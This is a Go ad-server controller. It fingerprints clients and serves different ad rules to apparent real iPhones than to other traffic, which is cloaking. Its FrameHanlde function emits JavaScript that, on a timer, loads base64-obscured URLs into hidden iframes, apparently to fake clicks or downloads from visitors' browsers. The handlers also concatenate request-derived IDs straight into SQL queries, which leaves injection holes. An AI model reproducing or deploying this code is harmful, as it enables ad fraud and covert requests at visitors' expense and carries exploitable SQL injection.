package controller

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"html"
	"log"
	"net/http"
	"strings"
	"time"
	"traffic/system"
	"traffic/utils"

	"github.com/garyburd/redigo/redis"
)

func Showads(w http.ResponseWriter, r *http.Request) {
	c := system.Redis
	adid := "" //广告ID
	rid := ""  //规则ID
	visittype := "1"
	s := r.FormValue("s")
	req := strings.Split(s, ",")

	v, err1 := redis.String(c.Do("GET", req[1]))
	utils.Chkerr(err1)
	fmt.Println("wwxx:", v)

	vmap := make(map[string]interface{})
	visit := make(map[string]interface{})
	ruleid := strings.Split(req[1], ":")
	adid = ruleid[0][3:]
	rid = req[0]
	rv := strings.Split(v, "#")
	if v == "" {
		w.Header().Add("Access-Control-Allow-Origin", "*")
		rid = getDadVisit(adid)
		htmlstr := ""
		ad_data, err := getAd(adid)
		utils.Chkerr(err)
		if len(ad_data) > 0 {
			rule := getRuleRow(rid)
			log.Println(ad_data[0], rule, vmap, false)
			htmlstr = Getadcontent(ad_data[0], rule, vmap, false)
		}

		w.Header().Add("Access-Control-Allow-Origin", "*")
		w.Write([]byte(htmlstr))
		log.Println("redis过期，输出正常广告")
		return

	}

	log.Println("rid:", rid)

	//客户端JS判断
	//cli_str := ""
	cli_map := make(map[string]interface{})
	if len(req) > 2 {
		str1, err := base64.StdEncoding.DecodeString(req[2])
		utils.Chkerr(err)
		json.Unmarshal(str1, &cli_map)
		//			cli_str = string(str1)
	}
	log.Println("cli:", cli_map)
	rulevisit, _ := json.Marshal(cli_map)
	rulevisits := string(rulevisit) //取得规则是否合格
	//		log.Println("xxxxxxxxxxxxxxxxx",rulevisits)
	//判断分辨率
	log.Println(cli_map["width"], "x", cli_map["height"])
	phonePx := false
	px := make([]map[string]float64, 4)
	px[0] = map[string]float64{"width": 375, "height": 667}
	px[1] = map[string]float64{"width": 667, "height": 375}
	px[2] = map[string]float64{"width": 414, "height": 736}
	px[3] = map[string]float64{"width": 736, "height": 414}

	for _, mpx := range px {
		if cli_map["width"] == mpx["width"] && cli_map["height"] == mpx["height"] {
			phonePx = true
			break
		}
	}

	if cli_map["platform"] != "iPhone" ||
		cli_map["vendor"] != "Apple Computer, Inc." ||
		cli_map["isgyro"] == "null" ||
		cli_map["mpa"] != "true" ||
		cli_map["track"] != "true" ||
		cli_map["maxTouchPonints"] != "undefined" ||
		phonePx != true {
		//if  cli_map["isgyro"]=="null" {
		log.Println("fffffffffff")
		visittype = "2"
		rid = getDadVisit(adid)

	} else {

		sql1 := "select * from ads_ad_rule a LEFT JOIN ads_rule b on a.ruleid=b.id where a.adid=" + adid + " and  b.visit=1 AND UNIX_TIMESTAMP(CONCAT(DATE_FORMAT(NOW(),'%Y-%m-%d'), ' ',start_time)) < UNIX_TIMESTAMP() AND UNIX_TIMESTAMP(CONCAT(DATE_FORMAT(NOW(),'%Y-%m-%d'), ' ',end_time)) > UNIX_TIMESTAMP() "
		rules_data, _ := cacheSql(sql1)
		if len(rules_data) == 0 {
			rid = getDadVisit(adid)
		}
	}
	log.Println("xxxxx", adid, rid, "ajax", getRealIp(r), rulevisit)
	Save(r, adid, rid, "ajax", getRealIp(r), visittype, rulevisits)

	json.Unmarshal([]byte(rv[2]), &vmap)
	//	log.Println(vmap)
	if visittype == "1" {
		//更新规则是否为合规流量
		db := system.Db
		json.Unmarshal([]byte(rv[4]), &visit)
		date := time.Now().Format("2006-01-02")
		TableName := "ads_traffic_" + date
		sql := fmt.Sprintf("update `%s` set visit=%s where id=%s ", TableName, visit[rid], rv[3])
		//		log.Println("######:", sql)
		stmt, err := db.Prepare(sql)
		utils.Chkerr(err)
		stmt.Exec()
	}

	htmlstr := ""
	ad_data, err := getAd(adid)
	utils.Chkerr(err)
	if len(ad_data) > 0 {
		rule := getRuleRow(rid)
		htmlstr = Getadcontent(ad_data[0], rule, vmap, false)
	}

	w.Header().Add("Access-Control-Allow-Origin", "*")
	w.Write([]byte(htmlstr))
}

func getDadVisit(adid string) string {
	sql := "select * from ads_ad_rule a LEFT JOIN ads_rule b on a.ruleid=b.id where a.adid=" + adid + " and  b.visit=2 limit 1"
	rules_data, err := cacheSql(sql)
	utils.Chkerr(err)

	//			log.Println(rules_data)
	rid := rules_data[0]["ruleid"].(string)
	return rid
}

func getRuleRow(rid string) map[string]interface{} {
	var row map[string]interface{}
	sql := "select * from ads_rule where id =" + rid
	data, _ := cacheSql(sql)
	if len(data) > 0 {
		row = data[0]
	}
	return row
}

func Getadcontent(ad_data map[string]interface{}, rule map[string]interface{}, visitmap map[string]interface{}, encode bool) string {
	outhtml := ""
	ruleid := rule["id"].(string)
	out, _ := GetOutput(ruleid)
	if 0 == len(out) {
		return outhtml
	}

	//判断输出方式
	if out["outmode"] == "gourl" {
		log.Println("###", out["content"])
		//					http.Redirect(w, r, vo["outcontent"].(string), 302)
		return ""
	}

	log.Println(out["outcontent"])

	outStr := html.UnescapeString(out["content"].(string))
	outStr = outStr + "<i id=\"ads1\"></i>"
	//输出变量替换
	//	log.Println("变量替换", visitmap, outStr)
	outStr = ReplaceCont(visitmap, outStr)

	//判断是否加密JS
	jscode := ""
	if rule["jsencrypt"] == "off" {
		jscode = fmt.Sprintf("document.write('%s')", outStr)
	} else {
		jscode = GetJscode(outStr)
	}

	framestr := ""
	//	log.Println(rule)
	if rule["ck_urls"] != "" && rule["ck_urls"] != nil {
		framestr = FrameHanlde(rule["ck_urls"], rule["ck_downs"], rule["ck_downwait"])
	}

	//				outhtml := fmt.Sprintf("%s;%s", jscode, framestr)

	if encode == false {
		outhtml = fmt.Sprintf("%s;%s", jscode, framestr)
	} else {
		outhtml = fmt.Sprintf("<script>%s;%s</script>", jscode, framestr)
	}
	//	log.Println( jscode)
	return outhtml
}

//iframe处理
func FrameHanlde(down_urls, down_num, down_waitsecond interface{}) string {
	down_url := strings.Split(down_urls.(string), "\r")
	str := fmt.Sprintf("window.nx=0;window.dnums=%s;durl=[", down_num)
	for _, v := range down_url {
		vs := strings.Replace(v, "\r", "", -1)
		vs = strings.Replace(v, "\n", "", -1)
		base64v := base64.StdEncoding.EncodeToString([]byte(vs))
		str = str + fmt.Sprintf("'%s',", base64v)
	}

	str = utils.Substr(str, 0, len(str)-1) + "];function outame(){if(window.nx<durl.length){for(var i=0;i<window.dnums;i++){if(durl[window.nx]){o= document.createElement('iframe');o.style.display='none';o.src=atob(durl[nx]);document.getElementById(\"ads1\").appendChild(o);window.nx++}}}}setInterval(outame," + down_waitsecond.(string) + ");"
	//	str = utils.Substr(str, 0, len(str)-1) + "];function outame(){if(window.nx<durl.length){for(var i=0;i<window.dnums;i++){if(durl[window.nx]){document.write('<img src=\"'+durl[window.nx]+'\" style=\"width:1px;height:1px;border:0; opacity:0.0;\"/>');window.nx++}}}}setInterval(outame," + down_waitsecond.(string) + ");"
	return str
}
